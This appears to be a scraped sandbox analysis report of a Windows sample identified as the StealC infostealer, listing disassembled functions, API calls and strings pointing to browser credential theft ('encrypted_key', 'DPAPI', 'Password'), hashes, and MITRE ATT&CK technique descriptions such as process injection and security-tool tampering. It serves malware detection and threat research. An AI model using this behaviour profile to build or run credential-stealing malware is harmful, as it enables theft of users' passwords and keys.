??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 97b8e5648014eb75fe7e4c2f5c52bbac28816c25018f37e92348e0e4551f1163
Instruction ID: 4c6ecd523783b942696bdc62fd612c852c6eee159b5b032e672b771ca3e86784
Opcode Fuzzy Hash: 97b8e5648014eb75fe7e4c2f5c52bbac28816c25018f37e92348e0e4551f1163
Instruction Fuzzy Hash: B0F09632A813119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D28E9E

Function 00418100 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: %d MB$@
API String ID: 3732870572-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 00409CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6

Strings

DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 1784268899-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 004072D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
task.LIBCPMTD ref: 00407555

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memsettaskvsprintf_s
String ID: Password
API String ID: 2675463923-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 003E1FE0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 433
memoryCOMMON

Function 003FA39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Function 003F5C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 003F8B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Function 003F0C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 003FA0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 003F60B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Function 003F9CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Function 003F5D63 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE